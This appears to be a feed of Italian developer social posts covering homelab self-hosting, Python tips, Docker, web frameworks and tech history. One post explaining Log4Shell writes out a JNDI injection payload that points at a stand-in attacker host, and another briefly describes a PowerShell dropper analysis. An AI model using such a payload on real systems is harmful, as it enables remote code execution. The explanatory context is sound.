Self-hosting: cosa giro in casa nel 2024: 📧 Mailcow (email server) ☁️ Nextcloud (cloud storage) 🔒 Vaultwarden (password manager) 📊 Grafana stack (monitoring) 🎥 Jellyfin (media server) 📰 FreshRSS (RSS reader) 🔒 Wireguard (VPN) Dipendenze da Google/Microsoft: quasi zero. Privacy++.! 🔥 Voi cosa ne pensate? 👉 Configurare una VPN WireGuard sul router di casa 👉 Guida: Nextcloud su Docker in 15 minuti
Marco Ferretti
Oggi mi sono ricordato perchè odio le dipendenze circolari in Python. Due ore per torvare un import ke ciclava. pip list non aiutava. alla fine era un models.py che importava da utils.py che importava da models.py. classic 🤦! ⭐ Commenti?
Copilot mi ha suggerito una soluzione che non capivo. Ho chiesto spiegazione a Claude. Claude mi ha spiegato ceh era sbagliata. 💀 La vita del dev nel 2024! 👏 👉 AI per il coding: Cursor vs GitHub Copilot — la vostra esperienza
bella configurazione homelab di "NAS DIY su Unraid — media server e backup familiare" nella sezione SelfHosting — mi dà voglia di aggiornare il mio setup 🖥️! 🔥 👉 Homelab 2026: costruire il tuo server domestico da zero 👉 NAS home server: configurazione e consigli
se avete problemi con Hardware, c'è un tutorial interessante su "TrueNAS Scale: NAS professionale a casa" — livello Avanzato, consigliato 🔧! 🔥 👉 Jellyfin: configurare la transcodifica hardware su Intel QuickSync
per chi vuole iniziare col self-hosting, il homelab "Micro homelab su Raspberry Pi 5 — always-on a 8W" è un buon esempio di come organizzarsi 🏠! 🚀 👉 Configurare Pi-hole in 10 minuti su Raspberry Pi 👉 Rust nel 2025: perché tutti vogliono impararlo e da dove iniziare
Oggi ho debuggato un problema per 2 ore. Era un punto e virgola mancante in un file di config YAML. YAML è una tecnologia del dolore 😤! 👏 Qualcuno ha la stessa esperienza?
Aggiornamento di metà mattina: Piccola guida su decoratori Python che uso spesso: ```python @functools.lru_cache(maxsize=128) def calcolo_pesante(n): ... ``` @retry da tenacity per le chiamate API che falliscono @dataclass per oggetti semplici al posto di __init__ @property per getter/setter puliti I decoratori sono una delle cose più eleganti di Python. Una volta capiti, non puoi farne a meno 🐍! 🚀
Aggiornamento di metà mattina: Notizia che gira oggi tra i dev — 📰 **Dell Coupon Codes: 20% Off for May 2026** 🔗 https://www.wired.com/story/dell-coupon-code/ _via www.wired.com — 12/05/2026 07:00_! 💪 Voi cosa ne pensate?
Mentre aspetto che la build finisca: Analizzato un malware su Any.run oggi per lavoro. Dropper in PowerShell offuscato, scarica payload da Pastebin, persistence tramite registro. Classico ma ancora efficace. AV lo prende al 60% su VT 😬! ✨ Voi cosa ne pensate?
Buongiorno! Inizia bene questa Tuesday... Oggi ho debuggato un problema per 2 ore. Era un punto e virgola mancante in un file di config YAML. YAML è una tecnologia del dolore 😤 #Dev #YAML! 🎉 Discussione aperta 👇
Buona mattina raga — 12/05/2026 già qui Log4Shell (CVE-2021-44228) — il bug che ha terrorizzato il mondo IT nel dicembre 2021. Log4j è una libreria Java di logging usata ovunque: AWS, Apple iCloud, Steam, Minecraft... Il problema: passare `${jndi:ldap://attacker.com/exploit}` in un semplice log dava esecuzione remota di codice. In meno di 24 ore dall'annuncio, scanner automatici bombardavano ogni IP pubblico con il payload. Milioni di sistemi vulnerabili. Un bug in una libreria condivisa da metà internet. È per questo ke la supply chain security è diventata critica nel 2022. Ogni dipendenza è un vettore. 🔒! 🙌 👉 [[Corso: Docker Avanzato] Lezione 4 - CI/CD con Docker: build e deploy automatici](https://albsystem.net/pages/tutorial_view.php?id=140) 👉 Supply chain attack: quando la vulnerabilità viene dal fornitore
Apple M1 (novembre 2020) ha chiuso il dibattito x86 vs ARM che durava dagli anni '90. Intel dominava da decenni. Poi Apple ha disegnato M1 internamente con architettura ARM custom: ⚡ Performance per watt: +3x rispetto a Intel 🔋 MacBook Air: 18 ore di batteria reale, zero ventole 💻 CPU + GPU + RAM sullo stesso die — unified memory architecture Un laptop da 999€ batteva workstation da 5000€ su molti benchmark reali. Bell Labs e RISC negli anni '80 avevano già capito dove si stava andando. Ci sono voluti 40 anni per l'implementazione perfetta. 💻 #AppleSilicon #M1 #ARM #Hardware! 💡 💯 👉 Rust per WebAssembly: esperienze e performance reali
CI/CD tip: mettete sempre un timeout sui vostri GitHub Actions. Ho visto workflow girare per 6 ore perché un test si era bloccato. Aggiunge 2 righe, vi salva la vita (e i crediti) 🔧! 💡 👉 Midjourney v7: l'arte AI raggiunge un nuovo livello di realismo 👉 Agenti AI autonomi: avete integrato AutoGPT o CrewAI in workflow reali?
ho letto questo tutorial su Corso Hacking Etico: Il Report Professionale — molto utile per chi inizia con Software 👌 lo trovate nella sezione Tutorial del sito! ✨ 👉 Corso Hacking Etico #1: Introduzione e mentalita 👉 DevSecOps: integrare la sicurezza nel ciclo di sviluppo software
ho visto il setup "Il mio homelab da 0 a produzione" su SelfHosting — ottimo lavoro, mi fermo a studiare i servizi usati 🤓! 🙌 Voi cosa ne pensate? 👉 Systemd: gestire servizi, timer e log su Linux 👉 Docker e Kubernetes per sviluppatori: da zero alla produzione
ho imparato qlcs di nuovo oggi leggendo la guida su Web App Pentesting — OWASP e Ricognizione — la sezione Tutorial vale la pena visitarla 📖! 💡
ho visto il setup "Micro homelab su Raspberry Pi 5 — always-on a 8W" su SelfHosting — ottimo lavoro, mi fermo a studiare i servizi usati 🤓! 💪 Voi cosa ne pensate? 👉 Configurare Pi-hole in 10 minuti su Raspberry Pi
Late night thought: Docker Compose vs Kubernetes: qunado fare il salto? 🐳 Docker Compose: perfetto fino a ~5 container, localhost, staging semplice ☸️ Kubernetes: quando hai scaling, HA, deployments complessi Il mio consiglio: non passare a K8s per il gusto di farlo. Compose risolve l'80% dei problemi a 1/10 della complessità. Io uso K3s per produzione piccola. Ottimo compromesso.! 🔥 👉 Corso Docker e Self-Hosting #1: Introduzione ai Container 👉 Docker e Kubernetes per sviluppatori: da zero alla produzione
FastAPI vs Django per nuove API nel 2024: ⚡ FastAPI: async nativo, validazione automatica con Pydantic, OpenAPI gratis, performances eccellenti. Perfetto per microservizi e API pure. 🦕 Django: batteries included, admin gratis, ORM maturo. Perfetto quando hai bisogno di tutto. Per API standalone: FastAPI senza dubbio. Per app web completa: Django.! ✨ Commenti?